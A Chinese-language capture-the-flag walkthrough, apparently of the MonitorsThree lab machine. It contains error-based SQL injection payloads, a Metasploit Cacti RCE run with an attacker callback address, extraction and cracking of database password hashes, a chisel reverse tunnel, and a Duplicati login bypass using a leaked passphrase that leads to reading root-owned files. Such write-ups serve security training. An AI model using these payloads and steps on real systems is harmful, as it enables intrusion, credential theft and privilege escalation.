总体思路
sql注入->CVE-2024-25641->配置泄露->JS解密->备份文件提权
信息收集&端口利用
nmap -p1-10000 monitorsthree.htb
目标主要开放了22和80端口,还有一个8084的websnp端口
先看80端口,是一个产品界面,介绍了他们的一些防火墙、网络解决方案等等
注意到界面中有一个登录按钮,点击查看
在尝试弱口令和万能密码无果后,看到下方还存在一个忘记密码的界面,打开它
这里提示我们需要输入用户名来找回密码,先输入一个不存在的用户名
发现他会报错,再尝试输入可能存在的admin用户
嗯?有一个用户名遍历,但是似乎没有什么作用
在BP中查看流量
SQL注入
发现有个username的数据包,尝试一下sql注入
发现存在注入点,使用–batch参数dump所有数据
sqlmap -r test.txt --tables --batch
在他跑sql注入过程中,进行目录和子域名扫描
dirsearch -u http://monitorsthree.htb
ffuf -c -u 'http://monitorsthree.htb' -H 'host: FUZZ.monitorsthree.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fw 3598 -fc 200 -mc all
目录扫描没有什么结果
子域名扫描爆破出了一个cacti子域名,将其加入进hosts文件中
访问子域名
是一个cacti组件,并且版本为1.2.26,在网上搜索其漏洞
搜索后发现其存在CVE-2024-25641,其利用方式可以在以下文章中找到
https://github.com/rapid7/metasploit-framework/pull/19196
但是利用该需要得到用户名和密码,这里想到刚刚的sql注入,等待其完成
sqlmap跑的实在是太慢了,这里使用报错注入
爆破数据库名称
admin' and updatexml(1,concat(0x7e,(select database() limit 0,1),0x7e),1) or '
爆破数据表
admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='monitorsthree_db' limit 5,1),0x7e),1) or '
爆破数值(此处因为hash值太长,因此需要使用mid函数分开显示)
admin' and updatexml(1,concat(0x7e,mid((select password from users limit 0,1),1,20),0x7e),1) or '
admin' and updatexml(1,concat(0x7e,mid((select password from users limit 0,1),21,15),0x7e),1) or '
爆破出admin的hash值为31a181c8372e3afc59dab---------
丢进CrackStation进行解密
使用admin和解密后的密码登录进刚刚爆破出的子域名
CVE-2024-25641
www-data@monitorsthree
登录成功,尝试之前文章中的POC
use multi/http/cacti_package_import_rce
set target cacti.monitorsthree.htb
#设置命令格式为Linux,0是PHP,2是Windows
set target 1
run rhost=cacti.monitorsthree.htb rport=80 lhost=10.10.16.18 username=admin password=[password]
配置泄露
marcus@monitorsthree
经过寻找后,能够在/var/www/html/cacti/include文件夹下找到一个配置文件
#config.php
<?php
/*
+-------------------------------------------------------------------------+
| Copyright (C) 2004-2023 The Cacti Group |
| |
| This program is free software; you can redistribute it and/or |
| modify it under the terms of the GNU General Public License |
| as published by the Free Software Foundation; either version 2 |
| of the License, or (at your option) any later version. |
| |
| This program is distributed in the hope that it will be useful, |
| but WITHOUT ANY WARRANTY; without even the implied warranty of |
| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
| GNU General Public License for more details. |
+-------------------------------------------------------------------------+
| Cacti: The Complete RRDtool-based Graphing Solution |
+-------------------------------------------------------------------------+
| This code is designed, written, and maintained by the Cacti Group. See |
| about.php and/or the AUTHORS file for specific developer information. |
+-------------------------------------------------------------------------+
| http://www.cacti.net/ |
+-------------------------------------------------------------------------+
*/
/**
* Make sure these values reflect your actual database/host/user/password
*/
$database_type = 'mysql';
$database_default = 'cacti';
$database_hostname = 'localhost';
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port = '3306';
$database_retries = 5;
$database_ssl = false;
$database_ssl_key = '';
$database_ssl_cert = '';
$database_ssl_ca = '';
$database_persist = false;
/**
* When the cacti server is a remote poller, then these entries point to
* the main cacti server. Otherwise, these variables have no use and
* must remain commented out.
*/
#$rdatabase_type = 'mysql';
#$rdatabase_default = 'cacti';
#$rdatabase_hostname = 'localhost';
#$rdatabase_username = 'cactiuser';
#$rdatabase_password = 'cactiuser';
#$rdatabase_port = '3306';
#$rdatabase_retries = 5;
#$rdatabase_ssl = false;
#$rdatabase_ssl_key = '';
#$rdatabase_ssl_cert = '';
#$rdatabase_ssl_ca = '';
···
/**
* Define the location to log translation i18n function calls
* to for debugging purposes. Note that if you use /tmp
* some systemd systems will remap that folder to special
* locations under /tmp/systemd<uniqueid>/tmp
*/
$i18n_text_log = null;
这里有MySQL的用户名和密码,进入数据库查看信息
mysql -ucactiuser -pcactiuser
显示所有数据表,看到有一个user_auth的数据表,查看其所有信息
有一段加密的值,为$2y$10$tjP开头,在hashcat wiki中查阅其可能的形式
发现它满足$2*$的格式,极有可能是blowfish加密,使用hashcat指定爆破模式为3200,字典为rockyou,对其进行爆破
逐一尝试后,能够爆破出marcus的密码
切换到marcus用户
此处可以导出marcus用户的id_rsa,在ssh界面使用id_rsa来登录到该用户
继续查找敏感信息和权限无果后,查看网络开放情况
netstat -nltp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33433 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8200 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8084 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
发现开放了一个8200端口,使用chisel将其代理出来看看
#kali
chisel server -p 6150 --reverse
#target
./chisel client 10.10.16.18:6150 R:8200:127.0.0.1:8200
转发进来后是一个新的登录界面
JS解密
Duplicati是一款开源的备份软件,经过查阅可知其默认端口正好为8200
随意输入一串密码,抓包查看
但是这一段加密在JS中有说明
这里需要用到密文,回到靶机上查看能不能寻找一些关于duplicati的信息
find / -name *duplicati* 2>/dev/null
在opt目录下有一个duplicati文件夹,进入查看
有一个数据库文件,将其拉到本地查看
其中有几段数据疑似为密钥
-2||server-passphrase|Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
-2||server-passphrase-salt|xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=
-2||server-passphrase-trayicon|5bb6bc31-e27c-42d2-a396-25a3c5e81110
-2||server-passphrase-trayicon-hash|JqNhCVKr+a3k+A6Szv/Zml4QTkRl7nQpfFsZF5RMCCA=
与之前在JS中发现的做对比,明显可知server-passphrase和server-passphrase-salt为我们需要用到的内容
在JS代码中,能够知道数据都是被base64加密过的,因此先将其转换回来,此处直接转化会乱码,转化为十六进制值
echo 'Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=' | base64 -d | xxd -p -c 256
59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a
利用这一串字符和nonce的值,在仪表盘中输出,即可得到密码
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('[nonce]') + '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a')).toString(CryptoJS.enc.Base64);
console.log(noncedpwd)
将BP中的密码替换为刚刚拿到的密码,进行url编码后放行数据包即可
备份文件提权
进入到了duplicati的仪表盘
这里选择备份的形式,还原root.txt文件
添加一个新备份
选择不加密
备份的地址为/source/tmp
需要备份的文件为/root/root.txt
选择完成后,回到home界面,先进行备份操作,然后再到恢复界面,将备份出来的文件恢复到marcus目录下
选择备份的地址,并重新赋予权限
备份完成后,回到marcus shell,就能得到刚刚备份的root.txt文件